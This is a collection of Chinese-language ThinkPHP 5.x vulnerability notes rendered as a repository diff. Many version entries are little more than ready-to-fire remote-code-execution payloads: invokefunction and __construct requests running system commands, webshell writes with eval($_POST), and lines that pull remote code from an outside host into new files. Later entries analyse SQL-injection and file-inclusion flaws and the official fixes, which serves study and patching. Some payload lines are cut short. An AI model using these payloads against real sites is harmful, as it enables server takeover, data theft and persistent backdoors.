||||||
|
POST
|
||||||
|
|
||||||
|
s=whoami&_method=__construct&method=POST&filter[]=system
|
||||||
|
aaaa=whoami&_method=__construct&method=GET&filter[]=system
|
||||||
|
_method=__construct&method=GET&filter[]=system&get[]=whoami
|
||||||
|
c=system&f=calc&_method=filter
|
||||||
|
|
||||||
|
> 写shell
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
|
||||||
|
|
||||||
|
> 有captcha路由时无需debug=true
|
||||||
|
>
|
||||||
|
> https://www.0-sec.org/?s=captcha/calc
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
_method=__construct&filter[]=system&method=GET
|
@ -0,0 +1,27 @@
|
|||||||
|
Thinkphp 5.0.21
|
||||||
|
===============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
### 1、poc
|
||||||
|
|
||||||
|
http://0-sec.org/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
|
||||||
|
|
||||||
|
### 2、poc
|
||||||
|
|
||||||
|
http://0-sec.org/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
|
||||||
|
|
||||||
|
### 3、poc
|
||||||
|
|
||||||
|
http://0-sec.org/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=system("whoami");
|
||||||
|
|
||||||
|
### 4、poc
|
||||||
|
|
||||||
|
http://0-sec.org/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=eval($_POST[ian])
|
@ -0,0 +1,19 @@
|
|||||||
|
Thinkphp 5.0.22
|
||||||
|
===============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
### 1、poc
|
||||||
|
|
||||||
|
http://0-sec.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
|
||||||
|
|
||||||
|
### 2、poc
|
||||||
|
|
||||||
|
http://0-sec.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=
|
@ -0,0 +1,23 @@
|
|||||||
|
Thinkphp 5.0.23
|
||||||
|
===============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
POST /index.php?s=captcha HTTP/1.1
|
||||||
|
Host: yuorip
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Accept: */* Accept-Language: en
|
||||||
|
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
||||||
|
Connection: close
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Content-Length: 72
|
||||||
|
|
||||||
|
|
||||||
|
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoam
|
@ -0,0 +1,27 @@
|
|||||||
|
Thinkphp 5.0.3
|
||||||
|
==============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
> www.0-sec.org/?s=index/index
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=whoami&_method=__construct&method=POST&filter[]=system
|
||||||
|
|
||||||
|
aaaa=whoami&_method=__construct&method=GET&filter[]=system
|
||||||
|
|
||||||
|
_method=__construct&method=GET&filter[]=system&get[]=whoami
|
||||||
|
|
||||||
|
> getshell
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
|
@ -0,0 +1,27 @@
|
|||||||
|
Thinkphp 5.0.4
|
||||||
|
==============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
> www.0-sec.org/?s=index/index
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=whoami&_method=__construct&method=POST&filter[]=system
|
||||||
|
|
||||||
|
aaaa=whoami&_method=__construct&method=GET&filter[]=system
|
||||||
|
|
||||||
|
_method=__construct&method=GET&filter[]=system&get[]=whoami
|
||||||
|
|
||||||
|
> getshell
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
|
@ -0,0 +1,19 @@
|
|||||||
|
Thinkphp 5.0.5
|
||||||
|
==============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
waf对eval进行了拦截
|
||||||
|
|
||||||
|
禁止了assert函数对eval函数后面的括号进行了正则过滤
|
||||||
|
|
||||||
|
对file\_get\_contents函数后面的括号进行了正则过滤
|
||||||
|
|
||||||
|
http://www.0-sec.org/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>
|
@ -0,0 +1,27 @@
|
|||||||
|
Thinkphp 5.0.6
|
||||||
|
==============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
> www.0-sec.org/?s=index/index
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=whoami&_method=__construct&method=POST&filter[]=system
|
||||||
|
|
||||||
|
aaaa=whoami&_method=__construct&method=GET&filter[]=system
|
||||||
|
|
||||||
|
_method=__construct&method=GET&filter[]=system&get[]=whoami
|
||||||
|
|
||||||
|
> getshell
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
|
@ -0,0 +1,27 @@
|
|||||||
|
Thinkphp 5.0.7
|
||||||
|
==============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
> www.0-sec.org/?s=index/index
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=whoami&_method=__construct&method=POST&filter[]=system
|
||||||
|
|
||||||
|
aaaa=whoami&_method=__construct&method=GET&filter[]=system
|
||||||
|
|
||||||
|
_method=__construct&method=GET&filter[]=system&get[]=whoami
|
||||||
|
|
||||||
|
> getshell
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
|
@ -0,0 +1,33 @@
|
|||||||
|
Thinkphp 5.0.8
|
||||||
|
==============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
http://wwww.0-sec.org/public
|
||||||
|
|
||||||
|
|
||||||
|
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
|
||||||
|
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
|
||||||
|
_method=__construct&method=get&filter[]=call_user_func&get[0]=phpinfo&get[1]=1
|
||||||
|
c=system&f=calc&_method=filter
|
||||||
|
|
||||||
|
> 写入文件
|
||||||
|
|
||||||
|
http://wwww.0-sec.org/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=uploads/1.php&vars[1][]=<?php ?>
|
||||||
|
|
||||||
|
> 直接用菜刀连
|
||||||
|
|
||||||
|
http://wwww.0-sec.org/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])
|
||||||
|
|
||||||
|
> getshell
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
|
@ -0,0 +1,26 @@
|
|||||||
|
Thinkphp 5.0.9
|
||||||
|
==============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
> www.0-sec.org/?s=index/index
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=whoami&_method=__construct&method=POST&filter[]=system
|
||||||
|
aaaa=whoami&_method=__construct&method=GET&filter[]=system
|
||||||
|
_method=__construct&method=GET&filter[]=system&get[]=whoami
|
||||||
|
c=system&f=calc&_method=filter
|
||||||
|
|
||||||
|
> 写shell
|
||||||
|
|
||||||
|
POST
|
||||||
|
|
||||||
|
s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=asser
|
@ -0,0 +1,19 @@
|
|||||||
|
Thinkphp 5.1.18
|
||||||
|
===============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
### 1、常规poc
|
||||||
|
|
||||||
|
http://www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>
|
||||||
|
|
||||||
|
### 2、所有目录都无写入权限,base64函数被拦截
|
||||||
|
|
||||||
|
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1]
|
@ -0,0 +1,33 @@
|
|||||||
|
Thinkphp 5.1.29
|
||||||
|
===============
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
### 1、代码执行
|
||||||
|
|
||||||
|
http://www.0-sec.org/?s=index/\think\Request/input&filter=phpinfo&data=1
|
||||||
|
|
||||||
|
http://www.0-sec.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
|
||||||
|
|
||||||
|
http://www.0-sec.org/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
|
||||||
|
|
||||||
|
### 2、命令执行
|
||||||
|
|
||||||
|
http://www.0-sec.org/?s=index/\think\Request/input&filter=system&data=操作系统命令
|
||||||
|
|
||||||
|
http://www.0-sec.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
|
||||||
|
|
||||||
|
http://www.0-sec.org/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
|
||||||
|
|
||||||
|
### 3、文件写入
|
||||||
|
|
||||||
|
http://www.0-sec.org/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
|
||||||
|
|
||||||
|
http://www.0-sec.org/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3
|
@ -0,0 +1,113 @@
|
|||||||
|
Thinkphp 5.x 命令执行漏洞说明
|
||||||
|
=============================
|
||||||
|
|
||||||
|
**先简单说明一下吧,5.x我们这里罗列了目前碰到的全部tp系列的对应版本漏洞,我在这里简要说明一下,不看别后悔**
|
||||||
|
|
||||||
|
> tp框架系列中,5.0.x 跟 5.1.x 中,各个系列里的poc是几乎为通用的
|
||||||
|
>
|
||||||
|
> 比如
|
||||||
|
> 5.0.1中某个poc在5.0.3中也是可以用的,也就是说当我们碰到5.0.8的时候,可以尝试用5.0.1
|
||||||
|
> 或 5.0.5等 5.0.x 系列的poc去尝试使用,
|
||||||
|
>
|
||||||
|
> 5.1.x 系列同理
|
||||||
|
|
||||||
|
执行流程:
|
||||||
|
----------
|
||||||
|
|
||||||
|
首先发起请求-\>开始路由检测-\>获取pathinfo信息-\>路由匹配-\>开始路由解析-\>获得模块、控制器、操作方法调度信息-\>开始路由调度-\>解析模块和类名-\>组建命名空间\>查找并加载类-\>实例化控制器并调用操作方法-\>构建响应对象-\>响应输出-\>日志保存-\>程序运行结束
|
||||||
|
|
||||||
|
漏洞原因:
|
||||||
|
----------
|
||||||
|
|
||||||
|
路由控制不严谨,默认不开启强制路由,从而可以任意调用Thinkphp的类库
|
||||||
|
|
||||||
|
主要有俩种方法,**1.Request中的变量覆盖导致RCE
|
||||||
|
2.路由控制不严谨导致的RCE**
|
||||||
|
|
||||||
|
Request中的变量覆盖导致RCE
|
||||||
|
--------------------------
|
||||||
|
|
||||||
|
版本名 是否可被攻击 攻击条件5.0.0 否 无5.0.1 否 无5.0.2 否 无5.0.3 否 无5.0.4 否 无5.0.5 否 无5.0.6 否 无5.0.7 否 无5.0.8 是 无需开启debug5.0.9 是 无需开启debug5.0.10 是 无需开启debug5.0.11 是 无需开启debug5.0.12 是 无需开启debug5.0.13 是 需开启debug5.0.14 是 需开启debug5.0.15 是 需开启debug5.0.16 是 需开启debug5.0.17 是 需开启debug5.0.18 是 需开启debug5.0.19 是 需开启debug5.0.20 否 无5.0.21 是 需开启debug5.0.22 是 需开启debug5.0.23 是 需开启debug
|
||||||
|
|
||||||
|
路由控制不严谨导致的RCE
|
||||||
|
-----------------------
|
||||||
|
|
||||||
|
> 5.0.23\--5.1.31版本
|
||||||
|
|
||||||
|
补充
|
||||||
|
----
|
||||||
|
|
||||||
|
> 由于受windows系统的影响,会导致部分payload在windows主机无法使用
|
||||||
|
>
|
||||||
|
> 并且由于windows自动加载类加载不到想要的类文件,所以能够下手的就是在框架加载的时候已经加载的类。
|
||||||
|
|
||||||
|
**5.1是下面这些:**
|
||||||
|
|
||||||
|
think\Loader
|
||||||
|
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
|
||||||
|
think\Error
|
||||||
|
think\Container
|
||||||
|
think\App
|
||||||
|
think\Env
|
||||||
|
think\Config
|
||||||
|
think\Hook
|
||||||
|
think\Facade
|
||||||
|
think\facade\Env
|
||||||
|
env
|
||||||
|
think\Db
|
||||||
|
think\Lang
|
||||||
|
think\Request
|
||||||
|
think\Log
|
||||||
|
think\log\driver\File
|
||||||
|
think\facade\Route
|
||||||
|
route
|
||||||
|
think\Route
|
||||||
|
think\route\Rule
|
||||||
|
think\route\RuleGroup
|
||||||
|
think\route\Domain
|
||||||
|
think\route\RuleItem
|
||||||
|
think\route\RuleName
|
||||||
|
think\route\Dispatch
|
||||||
|
think\route\dispatch\Url
|
||||||
|
think\route\dispatch\Module
|
||||||
|
think\Middleware
|
||||||
|
think\Cookie
|
||||||
|
think\View
|
||||||
|
think\view\driver\Think
|
||||||
|
think\Template
|
||||||
|
think\template\driver\File
|
||||||
|
think\Session
|
||||||
|
think\Debug
|
||||||
|
think\Cache
|
||||||
|
think\cache\Driver
|
||||||
|
think\cache\driver\File
|
||||||
|
|
||||||
|
**5.0 的有:**
|
||||||
|
|
||||||
|
think\Route
|
||||||
|
think\Config
|
||||||
|
think\Error
|
||||||
|
think\App
|
||||||
|
think\Request
|
||||||
|
think\Hook
|
||||||
|
think\Env
|
||||||
|
think\Lang
|
||||||
|
think\Log
|
||||||
|
think\Loader
|
||||||
|
|
||||||
|
**两个版本公有的是:**
|
||||||
|
|
||||||
|
think\Route
|
||||||
|
think\Loader
|
||||||
|
think\Error
|
||||||
|
think\App
|
||||||
|
think\Env
|
||||||
|
think\Config
|
||||||
|
think\Hook
|
||||||
|
think\Lang
|
||||||
|
think\Request
|
||||||
|
think\Log
|
||||||
|
|
||||||
|
本想找出两个版本共有的利用类和方法,但由于类文件大多被重写了,所以没耐住性子一一去找(菜)
|
||||||
|
|
||||||
|
所以,payload为上述类的利用方法,是可以兼容windows和linux多个平台的,兼容多个平台有什么用呢?插件批量可以减少误判等,一条payload通用,一把梭多好。
|
@ -0,0 +1,142 @@
|
|||||||
|
5.0.0 \<= Thinkphp \<= 5.0.21 & 5.1.3\<=ThinkPHP5\<=5.1.25
|
||||||
|
==========================================================
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
本篇文章,将分析 **ThinkPHP** 中存在的 **SQL注入** 漏洞(所有 **Mysql**
|
||||||
|
聚合函数相关方法均存在注入)。本次漏洞存在于所有 **Mysql**
|
||||||
|
聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进
|
||||||
|
**SQL** 语句,最终导致 **SQL注入漏洞** 的产生。
|
||||||
|
|
||||||
|
漏洞概要
|
||||||
|
--------
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
5.0.0\<=ThinkPHP\<=5.0.21
|
||||||
|
|
||||||
|
5.1.3\<=ThinkPHP5\<=5.1.25
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
不同版本 **payload** 需稍作调整:
|
||||||
|
|
||||||
|
**5.0.0\~5.0.21** 、 **5.1.3~5.1.10** :
|
||||||
|
|
||||||
|
id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
|
||||||
|
|
||||||
|
**5.1.11~5.1.25** :
|
||||||
|
|
||||||
|
id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
|
||||||
|
|
||||||
|
漏洞环境
|
||||||
|
--------
|
||||||
|
|
||||||
|
通过以下命令获取测试环境代码:
|
||||||
|
|
||||||
|
composer create-project --prefer-dist topthink/think=5.1.25 tpdemo
|
||||||
|
|
||||||
|
将 **composer.json** 文件的 **require** 字段设置成如下:
|
||||||
|
|
||||||
|
"require": {
|
||||||
|
"php": ">=5.6.0",
|
||||||
|
"topthink/framework": "5.1.25"
|
||||||
|
},
|
||||||
|
|
||||||
|
然后执行 `composer update` ,并将
|
||||||
|
**application/index/controller/Index.php** 文件代码设置如下:
|
||||||
|
|
||||||
|
<?php
|
||||||
|
namespace app\index\controller;
|
||||||
|
|
||||||
|
class Index
|
||||||
|
{
|
||||||
|
public function index()
|
||||||
|
{
|
||||||
|
$options = request()->get('options');
|
||||||
|
$result = db('users')->max($options);
|
||||||
|
var_dump($result);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
在 **config/database.php** 文件中配置数据库相关信息,并开启
|
||||||
|
**config/app.php** 中的 **app\_debug** 和 **app\_trace**
|
||||||
|
。创建数据库信息如下:
|
||||||
|
|
||||||
|
create database tpdemo;
|
||||||
|
use tpdemo;
|
||||||
|
create table users(
|
||||||
|
id int primary key auto_increment,
|
||||||
|
username varchar(50) not null
|
||||||
|
);
|
||||||
|
insert into users(id,username) values(1,'Mochazz');
|
||||||
|
insert into users(id,username) values(2,'Jerry');
|
||||||
|
insert into users(id,username) values(3,'Kitty');
|
||||||
|
|
||||||
|
### poc
|
||||||
|
|
||||||
|
http://localhost:8000/index/index/index?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
|
||||||
|
|
||||||
|
访问链接,即可触发 **SQL注入漏洞** 。(没开启 **app\_debug** 是无法看到
|
||||||
|
**SQL** 报错信息的)
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### 漏洞分析
|
||||||
|
|
||||||
|
首先在官方发布的 **5.1.26** 版本更新说明中,发现其中提到该版本包含了一个安全更新。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
我们可以查阅其 **commit** 记录,发现其改进了数据库驱动,代码中多了检测特殊字符的片段。接下来我们直接来分析代码。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
首先,用户可控数据未经过滤,传入 **Query** 类的 **max**
|
||||||
|
方法进行聚合查询语句构造,接着调用本类的 **aggregate**
|
||||||
|
方法。本次漏洞问题正是发生在该函数底层代码中,所以所有调用该方法的聚合方法均存在
|
||||||
|
**SQL注入** 问题。我们看到 **aggregate** 方法又调用了 **Mysql** 类的
|
||||||
|
**aggregate** 方法,在该方法中,我们可以明显看到程序将用户可控变量
|
||||||
|
**\$field** ,经过 **parseKey** 方法处理后,与 **SQL**
|
||||||
|
语句进行了拼接。下面我们就来具体看看 **parseKey** 方法。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
**parseKey**
|
||||||
|
方法主要是对字段和表名进行处理,这里只是对我们的数据两端都添加了反引号。经过
|
||||||
|
**parseKey** 方法处理后,程序又回到了上图的 **\$this-\>value()**
|
||||||
|
方法中,该方法会调用 **Builder** 类的 **select** 方法来构造 **SQL**
|
||||||
|
语句。这个方法应该说是在分析 **ThinkPHP**
|
||||||
|
漏洞时,非常常见的了。其无非就是使用 **str\_replace** 方法,将变量替换到
|
||||||
|
**SQL** 语句模板中。这里,我们重点关注 **parseField**
|
||||||
|
方法,因为用户可控数据存储在 **\$options\[\'field\'\]**
|
||||||
|
变量中并被传入该方法。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
进入 **parseField** 方法,我们发现用户可控数据只是经过 **parseKey**
|
||||||
|
方法处理,并不影响数据,然后直接用逗号拼接,最终直接替换进 **SQL**
|
||||||
|
语句模板里,导致 **SQL注入漏洞** 的发生
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### 漏洞修复
|
||||||
|
|
||||||
|
官方的修复方法是:当匹配到除了 **字母、点号、星号**
|
||||||
|
以外的字符时,就抛出异常。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### 攻击总结
|
||||||
|
|
||||||
|
最后,再通过一张攻击流程图来回顾整个攻击过程。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
参考链接
|
||||||
|
--------
|
||||||
|
|
||||||
|
> https://github.com/Mochazz/ThinkPHP-Vuln
|
After Width: | Height: | Size: 86 KiB |
After Width: | Height: | Size: 163 KiB |
After Width: | Height: | Size: 240 KiB |
After Width: | Height: | Size: 278 KiB |
After Width: | Height: | Size: 313 KiB |
After Width: | Height: | Size: 255 KiB |
After Width: | Height: | Size: 240 KiB |
After Width: | Height: | Size: 277 KiB |
@ -0,0 +1,111 @@
|
|||||||
|
5.0.0 \<= Thinkphp \<= 5.0.18 & 5.1.0 \<= ThinkPHP \<= 5.1.10 文件包含漏洞
|
||||||
|
==========================================================================
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
本次漏洞存在于 **ThinkPHP**
|
||||||
|
模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致
|
||||||
|
**文件包含漏洞** 的产生。
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
5.0.0 \<= Thinkphp \<= 5.0.18
|
||||||
|
|
||||||
|
5.1.0 \<= ThinkPHP \<= 5.1.10
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
### 漏洞环境
|
||||||
|
|
||||||
|
通过以下命令获取测试环境代码:
|
||||||
|
|
||||||
|
composer create-project --prefer-dist topthink/think=5.0.18 tpdemo
|
||||||
|
|
||||||
|
将 **composer.json** 文件的 **require** 字段设置成如下:
|
||||||
|
|
||||||
|
"require": {
|
||||||
|
"php": ">=5.6.0",
|
||||||
|
"topthink/framework": "5.0.18"
|
||||||
|
},
|
||||||
|
|
||||||
|
然后执行 `composer update` ,并将
|
||||||
|
**application/index/controller/Index.php** 文件代码设置如下:
|
||||||
|
|
||||||
|
<?php
|
||||||
|
namespace app\index\controller;
|
||||||
|
use think\Controller;
|
||||||
|
class Index extends Controller
|
||||||
|
{
|
||||||
|
public function index()
|
||||||
|
{
|
||||||
|
$this->assign(request()->get());
|
||||||
|
return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
创建 **application/index/view/index/index.html**
|
||||||
|
文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马
|
||||||
|
**1.jpg** 放至 **public** 目录下(模拟上传图片操作)。
|
||||||
|
|
||||||
|
### poc
|
||||||
|
|
||||||
|
http://0-sec.org:8000/index/index/index?cacheFile=demo.php
|
||||||
|
|
||||||
|
接着访问链接,即可触发 **文件包含漏洞** 。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### 漏洞分析
|
||||||
|
|
||||||
|
首先在官方发布的 **5.0.19** 版本更新说明中,发现其中提到该版本包含了一个安全更新。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
我们可以查阅其 **commit** 记录,发现其改进了模板引擎,其中存在危险函数
|
||||||
|
**extract** ,有可能引发变量覆盖漏洞。接下来,我们直接跟进代码一探究竟。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
首先,用户可控数据未经过滤,直接通过 **Controller** 类的 **assign**
|
||||||
|
方法进行模板变量赋值,并将可控数据存在 **think\\View** 类的 **data**
|
||||||
|
属性中。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
接着,程序开始调用 **fetch**
|
||||||
|
方法加载模板输出。这里如果我们没有指定模板名称,其会使用默认的文件作为模板,模板路径类似
|
||||||
|
**当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html**
|
||||||
|
,如果默认路径模板不存在,程序就会报错。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
我们跟进到 **Template** 类的 **fetch** 方法,可以发现可控变量 **\$vars**
|
||||||
|
赋值给 **\$this-\>data** 并最终传入 **File** 类的 **read** 方法。而
|
||||||
|
**read** 方法中在使用了 **extract** 函数后,直接包含了 **\$cacheFile**
|
||||||
|
变量。这里就是漏洞发生的关键原因(可以通过 **extract** 函数,直接覆盖
|
||||||
|
**\$cacheFile** 变量,因为 **extract** 函数中的参数 **\$vars**
|
||||||
|
可以由用户控制)。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### 漏洞修复
|
||||||
|
|
||||||
|
官方的修复方法是:先将 **\$cacheFile** 变量存储在 **\$this-\>cacheFile**
|
||||||
|
中,在使用 **extract** 函数后,最终 **include** 的变量是
|
||||||
|
**\$this-\>cacheFile** ,这样也就避免了 **include** 被覆盖后的变量值。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### 攻击总结
|
||||||
|
|
||||||
|
最后,再通过一张攻击流程图来回顾整个攻击过程。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
参考链接
|
||||||
|
--------
|
||||||
|
|
||||||
|
> https://github.com/Mochazz/ThinkPHP-Vuln
|
After Width: | Height: | Size: 80 KiB |
After Width: | Height: | Size: 118 KiB |
After Width: | Height: | Size: 187 KiB |
After Width: | Height: | Size: 231 KiB |
After Width: | Height: | Size: 305 KiB |
After Width: | Height: | Size: 264 KiB |
After Width: | Height: | Size: 188 KiB |
After Width: | Height: | Size: 266 KiB |
@ -0,0 +1,126 @@
|
|||||||
|
5.0.13 \<= Thinkphp \<= 5.0.15 & 5.1.0 \<= Thinkphp \<= 5.1.5
|
||||||
|
=============================================================
|
||||||
|
|
||||||
|
一、漏洞简介
|
||||||
|
------------
|
||||||
|
|
||||||
|
本篇文章,将分析 **ThinkPHP** 中存在的 **SQL注入** 漏洞( **insert**
|
||||||
|
方法注入)。本次漏洞存在于 **Builder** 类的 **parseData**
|
||||||
|
方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 **SQL**
|
||||||
|
语句,导致 **SQL注入漏洞** 的产生。
|
||||||
|
|
||||||
|
二、漏洞影响
|
||||||
|
------------
|
||||||
|
|
||||||
|
**5.0.13\<=ThinkPHP\<=5.0.15** 、 **5.1.0\<=ThinkPHP\<=5.1.5** 。
|
||||||
|
|
||||||
|
三、复现过程
|
||||||
|
------------
|
||||||
|
|
||||||
|
通过以下命令获取测试环境代码:
|
||||||
|
|
||||||
|
composer create-project --prefer-dist topthink/think=5.0.15 tpdemo
|
||||||
|
|
||||||
|
将 **composer.json** 文件的 **require** 字段设置成如下:
|
||||||
|
|
||||||
|
"require": {
|
||||||
|
"php": ">=5.4.0",
|
||||||
|
"topthink/framework": "5.0.15"
|
||||||
|
}
|
||||||
|
|
||||||
|
然后执行 `composer update` ,并将
|
||||||
|
**application/index/controller/Index.php** 文件代码设置如下:
|
||||||
|
|
||||||
|
<?php
|
||||||
|
namespace app\index\controller;
|
||||||
|
|
||||||
|
class Index
|
||||||
|
{
|
||||||
|
